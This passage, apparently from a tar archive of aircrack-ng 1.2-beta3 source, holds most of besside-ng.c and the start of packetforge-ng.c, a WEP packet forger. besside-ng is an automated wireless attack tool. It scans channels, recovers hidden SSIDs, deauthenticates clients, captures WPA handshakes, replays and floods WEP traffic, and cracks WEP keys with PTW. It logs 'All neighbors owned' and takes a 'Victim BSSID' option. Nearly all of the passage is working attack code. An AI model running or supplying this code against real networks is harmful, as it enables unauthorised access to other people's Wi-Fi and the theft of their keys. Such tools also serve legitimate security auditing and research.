0) { if (should_attack(n)) { attack(n); } else { time_printf(V_NORMAL, "Can't attack %s\n", n->n_ssid); _state.s_state = STATE_DONE; } } } static void packet_copy(struct packet *p, void *d, int len) { assert(len <= (int) sizeof(p->p_data)); p->p_len = len; memcpy(p->p_data, d, len); } static void packet_write_pcap(int fd, struct packet *p); static void found_ssid(struct network *n) { unsigned char *p; int ssidlen; int origlen; time_printf(V_NORMAL, "Found SSID [%s] for %s\n", n->n_ssid, mac2str(n->n_bssid)); /* beacon surgery */ p = n->n_beacon.p_data + sizeof(struct ieee80211_frame) + 8 + 2 + 2; ssidlen = strlen(n->n_ssid); assert((n->n_beacon.p_len + ssidlen) <= (int) sizeof(n->n_beacon.p_data)); assert(*p == IEEE80211_ELEMID_SSID); p++; origlen = *p; *p++ = ssidlen; assert(origlen == 0 || p[0] == 0); memmove(p + ssidlen, p + origlen, n->n_beacon.p_len - (p + origlen - n->n_beacon.p_data)); memcpy(p, n->n_ssid, ssidlen); n->n_beacon.p_len += ssidlen - origlen; if (n->n_client_handshake) { n->n_astate = ASTATE_WPA_CRACK; attack_continue(n); } if (n->n_crypto == CRYPTO_WEP) { n->n_astate = ASTATE_READY; attack_continue(n); } } static int parse_rsn(struct network *n, unsigned char *p, int l, int rsn) { int c; unsigned char *start = p; int psk = 0; if (l < 2) return 0; if (memcmp(p, "\x01\x00", 2) != 0) return 0; n->n_crypto = CRYPTO_WPA; if (l < 8) return -1; p += 2; p += 4; /* cipher */ c = le16toh(*((uint16_t*) p)); p += 2 + 4 * c; if (l < ((p - start) + 2)) return -1; /* auth */ c = le16toh(*((uint16_t*) p)); p += 2; if (l < ((p - start) + c * 4)) return -1; while (c--) { if (rsn && memcmp(p, "\x00\x0f\xac\x02", 4) == 0) psk++; if (!rsn && memcmp(p, "\x00\x50\xf2\x02", 4) == 0) psk++; p += 4; } assert(l >= (p - start)); if (!psk) n->n_crypto = CRYPTO_WPA_MGT; return 0; } static int parse_elem_vendor(struct network *n, unsigned char *e, int l) { struct ieee80211_ie_wpa *wpa = (struct ieee80211_ie_wpa*) e; if (l < 5) return 0; if (memcmp(wpa->wpa_oui, "\x00\x50\xf2", 3) != 0) return 0; if (l < 8) return 0; if (wpa->wpa_type != WPA_OUI_TYPE) return 0; return parse_rsn(n, (unsigned char*) &wpa->wpa_version, l - 6, 0); } static void wifi_beacon(struct network *n, struct ieee80211_frame *wh, int totlen) { unsigned char *p = (unsigned char*) (wh + 1); int bhlen = 8 + 2 + 2; int new = 0; int len = totlen; int hidden = 0; int ssids = 0; totlen -= sizeof(*wh); if (totlen < bhlen) goto __bad; if (!(IEEE80211_BEACON_CAPABILITY(p) & IEEE80211_CAPINFO_PRIVACY)) return; if (!n->n_have_beacon) new = 1; n->n_have_beacon = 1; n->n_crypto = CRYPTO_WEP; n->n_dbm = _state.s_ri->ri_power; p += bhlen; totlen -= bhlen; while (totlen > 2) { int id = *p++; int l = *p++; totlen -= 2; if (totlen < l) goto __bad; switch (id) { case IEEE80211_ELEMID_SSID: if (++ssids > 1) break; if (l == 0 || p[0] == 0) hidden = 1; else { memcpy(n->n_ssid, p, l); n->n_ssid[l] = 0; } break; case IEEE80211_ELEMID_DSPARMS: n->n_chan = *p; break; case IEEE80211_ELEMID_VENDOR: if (parse_elem_vendor(n, &p[-2], l + 2) == -1) goto __bad; break; case IEEE80211_ELEMID_RSN: if (parse_rsn(n, p, l, 1) == -1) goto __bad; break; default: // printf("id %d len %d\n", id, l); break; } p += l; totlen -= l; } if (new) { packet_copy(&n->n_beacon, wh, len); found_new_network(n); if (hidden && n->n_ssid[0]) found_ssid(n); if (ssids > 1 && should_attack(n)) { time_printf(V_NORMAL, "WARNING: unsupported multiple SSIDs" " for network %s [%s]\n", mac2str(n->n_bssid), n->n_ssid); } } return; __bad: printf("\nBad beacon\n"); } static int for_us(struct ieee80211_frame *wh) { return memcmp(wh->i_addr1, _state.s_mac, sizeof(wh->i_addr1)) == 0; } static void has_mac_filter(struct network *n) { time_printf(V_VERBOSE, "MAC address filter on %s\n", n->n_ssid); n->n_mac_filter = 1; } static void wifi_auth(struct network *n, struct ieee80211_frame *wh, int len) { uint16_t *p = (uint16_t*) (wh + 1); int rc; if (len < (int) (sizeof(*wh) + 2 + 2 + 2)) goto __bad; rc = le16toh(p[2]); if (for_us(wh) && rc != 0) { if (!n->n_mac_filter) has_mac_filter(n); } if (for_us(wh) && n->n_astate == ASTATE_PING) { ping_reply(n, wh); return; } if (for_us(wh) && n->n_wstate == ASTATE_NONE && need_connect(n)) { if (le16toh(p[0]) != 0 || le16toh(p[1]) != 2) return; if (le16toh(p[2]) == 0) { n->n_wstate = WSTATE_AUTH; time_printf(V_VERBOSE, "Authenticated\n"); network_connect(n); } } return; __bad: printf("Bad auth\n"); } static void found_mac(struct network *n) { if (!n->n_mac_filter || n->n_got_mac) return; assert(n->n_client_mac); time_printf(V_NORMAL, "Found MAC %s for %s\n", mac2str(n->n_client_mac->c_mac), n->n_ssid); n->n_got_mac = 1; } static void wifi_assoc_resp(struct network *n, struct ieee80211_frame *wh, int len) { uint16_t *p = (uint16_t*) (wh + 1); if (len < (int) (sizeof(*wh) + 2 + 2 + 2)) goto __bad; if (for_us(wh) && n->n_wstate == WSTATE_AUTH) { if (le16toh(p[1]) == 0) { int aid = le16toh(p[2]) & 0x3FFF; n->n_wstate = WSTATE_ASSOC; time_printf(V_NORMAL, "Associated to %s AID [%d]\n", n->n_ssid, aid); found_mac(n); attack_continue(n); } else time_printf(V_NORMAL, "Assoc died %d\n", le16toh(p[1])); } return; __bad: printf("Bad assoc resp\n"); } static void grab_hidden_ssid(struct network *n, struct ieee80211_frame *wh, int len, int off) { unsigned char *p = ((unsigned char *)(wh + 1)) + off; int l; if (n->n_ssid[0]) return; len -= sizeof(*wh) + off + 2; if (len < 0) goto __bad; if (*p++ != IEEE80211_ELEMID_SSID) goto __bad; l = *p++; if (l > len) goto __bad; if (l == 0) return; memcpy(n->n_ssid, p, l); n->n_ssid[l] = 0; if (!n->n_have_beacon) return; found_ssid(n); return; __bad: printf("\nbad grab_hidden_ssid\n"); return; } static void wifi_mgt(struct network *n, struct ieee80211_frame *wh, int len) { switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) { case IEEE80211_FC0_SUBTYPE_BEACON: wifi_beacon(n, wh, len); case IEEE80211_FC0_SUBTYPE_AUTH: wifi_auth(n, wh, len); break; case IEEE80211_FC0_SUBTYPE_ASSOC_RESP: wifi_assoc_resp(n, wh, len); break; case IEEE80211_FC0_SUBTYPE_DEAUTH: if (for_us(wh) && need_connect(n)) { time_printf(V_VERBOSE, "Got deauth for %s\n", n->n_ssid); n->n_wstate = WSTATE_NONE; network_connect(n); } break; case IEEE80211_FC0_SUBTYPE_ASSOC_REQ: grab_hidden_ssid(n, wh, len, 2 + 2); break; case IEEE80211_FC0_SUBTYPE_REASSOC_REQ: grab_hidden_ssid(n, wh, len, 2 + 2 + 6); break; case IEEE80211_FC0_SUBTYPE_PROBE_RESP: grab_hidden_ssid(n, wh, len, 8 + 2 + 2); break; default: if (for_us(wh)) { printf("UNHANDLED MGMT %d\n", (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) >> IEEE80211_FC0_SUBTYPE_SHIFT); } break; } } static void wifi_ctl(struct ieee80211_frame *wh, int len) { // printf("ctl\n"); if (wh && len) {} } static unsigned char *get_client_mac(struct ieee80211_frame *wh) { unsigned char *bssid = get_bssid(wh); int type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK; if (type == IEEE80211_FC0_TYPE_CTL) return NULL; if (!bssid) return wh->i_addr2; if (bssid == wh->i_addr1) return wh->i_addr2; else return wh->i_addr1; } static struct client *client_get(struct network *n, struct ieee80211_frame *wh) { struct client *c = n->n_clients.c_next; unsigned char *cmac = get_client_mac(wh); if (!cmac) return NULL; while (c) { if (memcmp(c->c_mac, cmac, 6) == 0) return c; c = c->c_next; } return NULL; } static struct client *client_update(struct network *n, struct ieee80211_frame *wh) { unsigned char *cmac = get_client_mac(wh); struct client *c; int type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK; if (!cmac) return NULL; /* let's not pwn ourselves */ if (memcmp(cmac, _state.s_mac, sizeof(_state.s_mac)) == 0) return NULL; if (cmac == wh->i_addr1) { if (memcmp(cmac, BROADCAST, 6) == 0) return NULL; /* multicast */ if (memcmp(cmac, "\x01\x00\x5e", 3) == 0) return NULL; /* ipv6 multicast */ if (memcmp(cmac, "\x33\x33", 2) == 0) return NULL; /* MAC PAUSE */ if (memcmp(cmac, "\x01\x80\xC2", 3) == 0) return NULL; /* fuck it */ if (cmac[0] == 0x01) return NULL; } /* here we can choose how conservative to be */ if (type == IEEE80211_FC0_TYPE_MGT) { switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) { case IEEE80211_FC0_SUBTYPE_ASSOC_RESP: break; case IEEE80211_FC0_SUBTYPE_PROBE_RESP: default: return NULL; } } c = client_get(n, wh); if (!c) { c = xmalloc(sizeof(*c)); memset(c, 0, sizeof(*c)); memcpy(c->c_mac, cmac, sizeof(c->c_mac)); c->c_next = n->n_clients.c_next; n->n_clients.c_next = c; if (n->n_have_beacon && (n->n_crypto == CRYPTO_WPA || n->n_crypto == CRYPTO_WEP)) found_new_client(n, c); } return c; } static int eapol_handshake_step(unsigned char *eapol, int len) { int eapol_size = 4 + 1 + 2 + 2 + 8 + 32 + 16 + 8 + 8 + 16 + 2; if (len < eapol_size) return 0; /* not pairwise */ if ((eapol[6] & 0x08) == 0) return 0; /* 1: has no mic */ if ((eapol[5] & 1) == 0) return 1; /* 3: has ack */ if ((eapol[6] & 0x80) != 0) return 3; if (*((uint16_t*) &eapol[eapol_size - 2]) == 0) return 4; return 2; } static void process_eapol(struct network *n, struct client *c, unsigned char *p, int len, struct ieee80211_frame *wh, int totlen) { int num, i; if (n->n_client_handshake) return; num = eapol_handshake_step(p, len); if (num == 0) return; /* reset... should use time, too. XXX conservative - check retry */ if (c->c_wpa == 0 || num <= c->c_wpa) { for (i = 0; i < 4; i++) c->c_handshake[i].p_len = 0; c->c_wpa_got = 0; } c->c_wpa = num; switch (num) { case 1: c->c_wpa_got |= 1; break; case 2: c->c_wpa_got |= 2; c->c_wpa_got |= 4; break; case 3: if (memcmp(&p[17], ZERO, 32) != 0) c->c_wpa_got |= 1; c->c_wpa_got |= 4; break; case 4: if (memcmp(&p[17], ZERO, 32) != 0) c->c_wpa_got |= 2; c->c_wpa_got |= 4; break; default: abort(); } packet_copy(&c->c_handshake[num - 1], wh, totlen); time_printf(V_VERBOSE, "Got WPA handshake step %d (have %d) for %s\n", num, c->c_wpa_got, n->n_ssid); if (c->c_wpa_got == 7) { n->n_client_handshake = c; time_printf(V_NORMAL, "Got necessary WPA handshake info for %s\n", n->n_ssid); n->n_client_mac = c; found_mac(n); if (n->n_ssid[0]) { n->n_astate = ASTATE_WPA_CRACK; attack_continue(n); } } } static int is_replayable(struct ieee80211_frame *wh, int len) { unsigned char clear[2048]; int dlen = len - 4 - 4; int clearsize; int weight[16]; known_clear(clear, &clearsize, weight, (void*) wh, dlen); if (clearsize < 16) return 0; return 1; } static void get_replayable(struct network *n, struct ieee80211_frame *wh, unsigned char *body, int len) { if (!is_replayable(wh, len)) return; if (n->n_replay_len) return; n->n_replay_got = 0; assert(len + sizeof(*wh) <= (int) sizeof(n->n_replay)); memcpy(&n->n_replay[sizeof(*wh)], body, len); n->n_replay_len = len + sizeof(*wh); wh = (struct ieee80211_frame*) n->n_replay; fill_basic(n, wh); memcpy(wh->i_addr1, n->n_bssid, sizeof(wh->i_addr1)); memcpy(wh->i_addr2, _state.s_mac, sizeof(wh->i_addr3)); memcpy(wh->i_addr3, BROADCAST, sizeof(wh->i_addr3)); wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA; wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP; time_printf(V_NORMAL, "Got replayable packet for %s [len %d]\n", n->n_ssid, len - 4 - 4); if (_state.s_state == STATE_ATTACK && _state.s_curnet == n && n->n_astate == ASTATE_WEP_PRGA_GET) attack_continue(n); } static void check_replay(struct network *n, struct ieee80211_frame *wh, int len) { if (_state.s_state != STATE_ATTACK || _state.s_curnet != n || n->n_astate != ASTATE_WEP_FLOOD) return; if (!(wh->i_fc[1] |= IEEE80211_FC1_DIR_FROMDS)) return; if (memcmp(wh->i_addr3, _state.s_mac, sizeof(wh->i_addr3)) != 0) return; if (len != (int) (n->n_replay_len - sizeof(*wh))) return; n->n_replay_got++; memcpy(&n->n_replay_last, &_state.s_now, sizeof(n->n_replay_last)); // ack clocked do_flood(n); } static void do_wep_crack(struct cracker *c, struct network *n, int len, int limit) { ssize_t unused; unsigned char key[PTW_KEYHSBYTES]; int (*all)[256]; int i, j; all = xmalloc(256 * 32 * sizeof(int)); //initial setup (complete keyspace) for (i = 0; i < 32; i++) { for (j = 0; j < 256; j++) all[i][j] = 1; } if (PTW_computeKey(n->n_ptw, key, len, limit, PTW_DEFAULTBF, all, 0) != 1) return; unused = write(c->cr_pipe[1], key, len); } static void crack_wep64(struct cracker *c, struct network *n) { do_wep_crack(c, n, 5, KEYLIMIT / 10); } static void crack_wep128(struct cracker *c, struct network *n) { do_wep_crack(c, n, 13, KEYLIMIT); } static void cracker_start(struct cracker *c, cracker_cb cb, struct network *n) { if (pipe(c->cr_pipe) == -1) err(1, "pipe()"); c->cr_pid = fork(); if (c->cr_pid == -1) err(1, "fork()"); if (c->cr_pid) { /* parent */ close(c->cr_pipe[1]); } else { /* child */ close(c->cr_pipe[0]); cb(c, n); exit(0); } } static void wep_crack_start(struct network *n) { cracker_kill(&n->n_cracker_wep[0]); cracker_kill(&n->n_cracker_wep[1]); cracker_start(&n->n_cracker_wep[0], crack_wep64, n); cracker_start(&n->n_cracker_wep[1], crack_wep128, n); } static void wep_crack(struct network *n) { if (_state.s_state != STATE_ATTACK || _state.s_curnet != n || n->n_astate != ASTATE_WEP_FLOOD) { n->n_crack_next = n->n_data_count + 1; return; } wep_crack_start(n); n->n_crack_next += _conf.cf_crack_int; } static int ptw_add(struct network *n, struct ieee80211_frame *wh, unsigned char *body, int len) { unsigned char clear[2048]; int dlen = len - 4 - 4; int clearsize; int i, weight[16], k, j; int rc = 0; k = known_clear(clear, &clearsize, weight, (void*) wh, dlen); if (clearsize < 16) return rc; for (j = 0; j < k; j++) { for (i = 0; i < clearsize; i++) clear[i + (32 * j)] ^= body[4 + i]; } if (!n->n_ptw) { n->n_ptw = PTW_newattackstate(); if (!n->n_ptw) err(1, "PTW_newattackstate()"); } if (PTW_addsession(n->n_ptw, body, clear, weight, k)) { speed_add(&n->n_flood_in); n->n_data_count++; rc = 1; } if (n->n_data_count == n->n_crack_next) wep_crack(n); return rc; } static void ptw_free(struct network *n) { if (n->n_ptw) { PTW_freeattackstate(n->n_ptw); n->n_ptw = NULL; } } static void wifi_data(struct network *n, struct ieee80211_frame *wh, int len) { unsigned char *p = (unsigned char*) (wh + 1); struct llc* llc; int wep = wh->i_fc[1] & IEEE80211_FC1_WEP; int eapol = 0; struct client *c; int stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK; int orig = len; assert(n); len -= sizeof(*wh); if (stype == IEEE80211_FC0_SUBTYPE_QOS) { p += 2; len -= 2; } if (!wep && len >= 8) { llc = (struct llc*) p; eapol = memcmp(llc, "\xaa\xaa\x03\x00\x00\x00\x88\x8e", 8) == 0; p += 8; len -= 8; } if (!wep && !eapol) return; if (!n->n_have_beacon) { n->n_chan = _state.s_chan; n->n_crypto = eapol ? CRYPTO_WPA : CRYPTO_WEP; /* XXX */ if (n->n_crypto == CRYPTO_WEP && p[3] != 0) n->n_crypto = CRYPTO_WPA; } if (eapol) { c = client_get(n, wh); /* c can be null if using our MAC (e.g., VAPs) */ if (c) process_eapol(n, c, p, len, wh, orig); return; } if (n->n_crypto != CRYPTO_WEP) { ptw_free(n); return; } if (len < (4 + 4)) return; if (n->n_astate == ASTATE_DONE) return; get_replayable(n, wh, p, len); check_replay(n, wh, len); if (ptw_add(n, wh, p, len)) { if (n->n_have_beacon && !n->n_beacon_wrote) { packet_write_pcap(_state.s_wepfd, &n->n_beacon); n->n_beacon_wrote = 1; } write_pcap(_state.s_wepfd, wh, orig); } } static struct network *network_update(struct ieee80211_frame* wh) { struct network *n; struct client *c = NULL; unsigned char *bssid; int fromnet; bssid = get_bssid(wh); if (!bssid) return NULL; n = network_get(wh); if (!n) n = network_add(wh); assert(n); if ((fromnet = (memcmp(wh->i_addr2, bssid, sizeof(wh->i_addr2)) == 0))) n->n_dbm = _state.s_ri->ri_power; c = client_update(n, wh); if (c && !fromnet) c->c_dbm = _state.s_ri->ri_power; return n; } static void wifi_read(void) { struct state *s = &_state; unsigned char buf[2048]; int rd; struct rx_info ri; struct ieee80211_frame* wh = (struct ieee80211_frame*) buf; struct network *n; rd = wi_read(s->s_wi, buf, sizeof(buf), &ri); if (rd <= 0) err(1, "wi_read()"); s->s_ri = &ri; n = network_update(wh); switch (wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK) { case IEEE80211_FC0_TYPE_MGT: wifi_mgt(n, wh, rd); break; case IEEE80211_FC0_TYPE_CTL: wifi_ctl(wh, rd); break; case IEEE80211_FC0_TYPE_DATA: wifi_data(n, wh, rd); break; default: printf("Unknown type %d\n", wh->i_fc[0]); } } static const char *astate2str(int astate) { static char num[16]; static char *states[] = { "NONE", "PING", "READY", "DEAUTH", "WPA_CRACK", "GET REPLAY", "FLOOD", "NONE", "DONE" }; if (astate >= (int) (sizeof(states) / sizeof(*states))) { snprintf(num, sizeof(num), "%d", astate); return num; } return states[astate]; } static const char *wstate2str(int astate) { static char num[16]; static char *states[] = { "NONE", "AUTH", "ASSOC" }; if (astate >= (int) (sizeof(states) / sizeof(*states))) { snprintf(num, sizeof(num), "%d", astate); return num; } return states[astate]; } static void print_status(int advance) { static char status[] = "|/-|/-\\"; static char *statusp = status; struct network *n = _state.s_curnet; struct client *c; int ccount = 0; time_printf(V_NORMAL, "%c", *statusp); switch (_state.s_state) { case STATE_SCAN: printf(" Scanning chan %.2d", _state.s_chan); break; case STATE_ATTACK: printf(" Attacking [%s] %s - %s", n->n_ssid, n->n_crypto == CRYPTO_WPA ? "WPA" : "WEP", astate2str(n->n_astate)); if (need_connect(n) && n->n_wstate != WSTATE_ASSOC) printf(" [conn: %s]", wstate2str(n->n_wstate)); switch (n->n_astate) { case ASTATE_WEP_FLOOD: if (n->n_cracker_wep[0].cr_pid || n->n_cracker_wep[1].cr_pid) printf(" cracking"); speed_calculate(&n->n_flood_in); speed_calculate(&n->n_flood_out); printf(" - %d IVs rate %d [%d PPS out] len %d", n->n_data_count, n->n_flood_in.s_speed, n->n_flood_out.s_speed, (int) (n->n_replay_len - sizeof(struct ieee80211_frame) - 4 - 4) ); break; case ASTATE_DEAUTH: c = n->n_clients.c_next; while (c) { ccount++; c = c->c_next; } if (ccount) printf(" (know %d clients)", ccount); break; } break; } printf("\r"); fflush(stdout); if (advance) statusp++; if (statusp >= (&status[sizeof(status) - 1])) statusp = status; } static void make_progress(void) { if (_state.s_state == STATE_SCAN && _state.s_hopcycles > 2) { print_work(); attack_next(); _state.s_hopcycles = 0; } } static void cracker_check(struct network *n, struct cracker *c) { unsigned char buf[1024]; int rc; rc = read(c->cr_pipe[0], buf, sizeof(buf)); if (rc <= 0) { cracker_kill(c); return; } assert(rc <= (int) sizeof(n->n_key)); memcpy(n->n_key, buf, rc); n->n_key_len = rc; time_printf(V_NORMAL, "Got key for %s [", n->n_ssid); print_hex(n->n_key, n->n_key_len); printf("] %d IVs\n", n->n_data_count); cracker_kill(&n->n_cracker_wep[0]); cracker_kill(&n->n_cracker_wep[1]); n->n_astate = ASTATE_DONE; ptw_free(n); attack_continue(n); } static int add_cracker_fds(fd_set *fds, int max) { struct network *n; int i; if (_state.s_state != STATE_ATTACK) return max; n = _state.s_curnet; for (i = 0; i < 2; i++) { struct cracker *c = &n->n_cracker_wep[i]; if (c->cr_pipe[0]) { FD_SET(c->cr_pipe[0], fds); if (c->cr_pipe[0] > max) max = c->cr_pipe[0]; } } return max; } static void check_cracker_fds(fd_set *fds) { struct network *n; struct cracker *c; int i; if (_state.s_state != STATE_ATTACK) return; n = _state.s_curnet; for (i = 0; i < 2; i++) { c = &n->n_cracker_wep[i]; if (c->cr_pipe[0] && FD_ISSET(c->cr_pipe[0], fds)) cracker_check(n, c); } } static char *strip_spaces(char *p) { char *x; while (*p == ' ') p++; x = p + strlen(p) - 1; while (x >= p && *x == ' ') *x-- = 0; return p; } static int parse_hex(unsigned char *out, char *in, int l) { int len = 0; while (in) { char *p = strchr(in, ':'); int x; if (--l < 0) err(1, "parse_hex len"); if (p) *p++ = 0; if (sscanf(in, "%x", &x) != 1) errx(1, "parse_hex()"); *out++ = (unsigned char) x; len++; in = p; } return len; } static void resume_network(char *buf) { char *p = buf, *p2; int state = 0; struct network *n; if (buf[0] == '#') return; n = network_new(); while (1) { p2 = strchr(p, '|'); if (!p2) { p2 = strchr(p, '\n'); if (!p2) break; } *p2++ = 0; p = strip_spaces(p); switch (state) { /* ssid */ case 0: strcpy(n->n_ssid, p); break; /* key */ case 1: if (strstr(p, "handshake")) { n->n_crypto = CRYPTO_WPA; n->n_client_handshake = (void*) 0xbad; } else if (strchr(p, ':')) { n->n_crypto = CRYPTO_WEP; n->n_key_len = parse_hex(n->n_key, p, sizeof(n->n_key)); } if (n->n_crypto != CRYPTO_NONE) { n->n_have_beacon = 1; n->n_astate = ASTATE_DONE; } break; /* bssid */ case 2: parse_hex(n->n_bssid, p, sizeof(n->n_bssid)); break; case 3: if (*p) { struct client *c = xmalloc(sizeof(*c)); memset(c, 0, sizeof(*c)); parse_hex(c->c_mac, p, sizeof(c->c_mac)); n->n_client_mac = c; n->n_got_mac = 1; } break; } state++; p = p2; } if (n->n_astate != ASTATE_DONE) { free(n); return; } do_network_add(n); network_print(n); } static void resume(void) { FILE *f; char buf[4096]; f = fopen(_conf.cf_log, "r"); if (!f) return; time_printf(V_NORMAL, "Resuming from %s\n", _conf.cf_log); while (fgets(buf, sizeof(buf), f)) resume_network(buf); fclose(f); } static void cleanup(int UNUSED(x)) { struct state *s = &_state; struct network *n; printf("\nDying...\n"); wi_close(s->s_wi); if (_state.s_state == STATE_ATTACK) { n = _state.s_curnet; assert(n); cracker_kill(&n->n_cracker_wep[0]); cracker_kill(&n->n_cracker_wep[1]); } if (_state.s_wpafd) close(_state.s_wpafd); if (_state.s_wepfd) close(_state.s_wepfd); print_work(); exit(0); } static void pwn(void) { struct state *s = &_state; struct timeval tv; fd_set fds; int wifd, max, rc; if (!(s->s_wi = wi_open(_conf.cf_ifname))) err(1, "wi_open()"); if (wi_get_mac(s->s_wi, _state.s_mac) == -1) err(1, "wi_get_mac()"); gettimeofday(&_state.s_now, NULL); memcpy(&_state.s_start, &_state.s_now, sizeof(_state.s_start)); wifd = wi_fd(s->s_wi); max = wifd; time_printf(V_VERBOSE, "mac %s\n", mac2str(_state.s_mac)); time_printf(V_NORMAL, "Let's ride\n"); if (wi_set_channel(s->s_wi, _state.s_chan) == -1) err(1, "wi_set_channel()"); resume(); _state.s_wpafd = open_pcap(_conf.cf_wpa); _state.s_wepfd = open_pcap(_conf.cf_wep); save_log(); time_printf(V_NORMAL, "Logging to %s\n", _conf.cf_log); scan_start(); while (s->s_state != STATE_DONE) { timer_next(&tv); FD_ZERO(&fds); FD_SET(wifd, &fds); max = add_cracker_fds(&fds, max); if ((rc = select(max + 1, &fds, NULL, NULL, &tv)) == -1 && errno != EINTR) err(1, "select()"); gettimeofday(&_state.s_now, NULL); check_cracker_fds(&fds); print_status(FD_ISSET(wifd, &fds)); if (FD_ISSET(wifd, &fds)) wifi_read(); timer_check(); make_progress(); } time_printf(V_NORMAL, "All neighbors owned\n"); cleanup(0); } static void channel_add(int num) { struct channel *c = xmalloc(sizeof(*c)); struct channel *pos = _conf.cf_channels.c_next; while (pos->c_next != _conf.cf_channels.c_next) pos = pos->c_next; memset(c, 0, sizeof(*c)); pos->c_next = c; c->c_num = num; c->c_next = _conf.cf_channels.c_next; } static void init_conf(void) { int i; _conf.cf_channels.c_next = &_conf.cf_channels; for (i = 1; i <= 11; i++) channel_add(i); _state.s_hopchan = _conf.cf_channels.c_next; _conf.cf_hopfreq = 250; _conf.cf_deauthfreq = 2500; _conf.cf_attackwait = 10; _conf.cf_floodwait = 60; _conf.cf_to = 100; _conf.cf_floodfreq = 10 * 1000; _conf.cf_crack_int = 5000; _conf.cf_wpa = "wpa.cap"; _conf.cf_wep = "wep.cap"; _conf.cf_log = "besside.log"; _conf.cf_do_wep = 1; _conf.cf_do_wpa = 1; } static const char *timer_cb2str(timer_cb cb) { if (cb == hop) return "hop"; else if (cb == attack_watchdog) return "attack_watchdog"; else if (cb == deauth) return "deauth"; else return "UNKNOWN"; } static void print_state_network(struct network *n) { struct client *c = n->n_clients.c_next; printf("Network: [%s] chan %d bssid %s astate %d dbm %d" " have_beacon %d crypto %d", n->n_ssid, n->n_chan, mac2str(n->n_bssid), n->n_astate, n->n_dbm, n->n_have_beacon, n->n_crypto); if (n->n_key_len) { printf(" KEY ["); print_hex(n->n_key, n->n_key_len); printf("]"); } printf("\n"); while (c) { printf("\tClient: %s wpa_got %d dbm %d\n", mac2str(c->c_mac), c->c_wpa_got, c->c_dbm); c = c->c_next; } } static void print_state(int UNUSED(x)) { struct state *s = &_state; struct network *n = s->s_curnet; struct channel *c = s->s_hopchan; struct channel *c2 = c; struct timer *t = s->s_timers.t_next; printf("\n=============== Internal state ============\n"); printf("State:\t%d\n", s->s_state); if (s->s_state == STATE_ATTACK) { printf("Current attack network: [%s] %s\n", n->n_ssid, mac2str(n->n_bssid)); } n = _state.s_networks.n_next; while (n) { print_state_network(n); n = n->n_next; } printf("Current chan: %d\n", s->s_chan); printf("Hop cycle %d chans:", s->s_hopcycles); do { printf(" %d", c->c_num); c = c->c_next; if (c != c2) printf(","); } while (c != c2); printf("\n"); printf( #ifndef __APPLE_CC__ "Now: %lu.%lu\n", #else "Now: %lu.%d\n", #endif s->s_now.tv_sec, s->s_now.tv_usec); while (t) { printf( #ifndef __APPLE_CC__ "Timer: %lu.%lu %p[%s](%p)\n", #else "Timer: %lu.%d %p[%s](%p)\n", #endif t->t_tv.tv_sec, t->t_tv.tv_usec, t->t_cb, timer_cb2str(t->t_cb), t->t_arg); t = t->t_next; } print_work(); printf("===========================================\n"); } static void usage(char *prog) { printf("\n" " %s - (C) 2010 Andrea Bittau\n" " http://www.aircrack-ng.org\n" "\n" " Usage: %s [options] \n" "\n" " Options:\n" "\n" " -b : Victim BSSID\n" " -s : Upload wpa.cap for cracking\n" " -c : chanlock\n" " -p : flood rate\n" " -W : WPA only\n" " -v : verbose, -vv for more, etc.\n" " -h : This help screen\n" "\n", getVersion("Besside-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC), prog); exit(1); } int main(int argc, char *argv[]) { int ch; init_conf(); while ((ch = getopt(argc, argv, "hb:vWs:c:p:")) != -1) { switch (ch) { case 's': _conf.cf_wpa_server = optarg; break; case 'W': _conf.cf_do_wep = 0; break; case 'p': _conf.cf_floodfreq = (int) (1.0 / (double) atoi(optarg) * 1000.0 * 1000.0); break; case 'c': // XXX leak _conf.cf_channels.c_next = &_conf.cf_channels; channel_add(atoi(optarg)); _state.s_hopchan = _conf.cf_channels.c_next; break; case 'v': _conf.cf_verb++; break; case 'b': _conf.cf_bssid = xmalloc(6); parse_hex(_conf.cf_bssid, optarg, 6); break; default: case 'h': usage(argv[0]); break; } } if (optind <= argc) _conf.cf_ifname = argv[optind]; if (!_conf.cf_ifname) { printf("Gimme an interface name dude\n"); usage(argv[0]); } signal(SIGINT, cleanup); signal(SIGKILL, cleanup); signal(SIGUSR1, print_state); signal(SIGCHLD, do_wait); pwn(); exit(0); } aircrack-ng-1.2-beta3/src/packetforge-ng.c0000644000000000000000000011312212153517342017061 0ustar rootroot/* * 802.11 ARP-request WEP packet forgery * UDP, ICMP and custom packet forging developped by Martin Beck * * Copyright (C) 2006-2013 Thomas d'Otreppe * Copyright (C) 2004, 2005 Christophe Devine (arpforge) * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include #include #include #include #include #include #include "version.h" #include "pcap.h" #include "crypto.h" #include "osdep/byteorder.h" #include "common.h" #define ARP_REQ \ "\x08\x00\x02\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xFF\xFF\xFF\xFF\xFF\xFF\x80\x01\xAA\xAA\x03\x00" \ "\x00\x00\x08\x06\x00\x01\x08\x00\x06\x04\x00\x01\xCC\xCC\xCC\xCC" \ 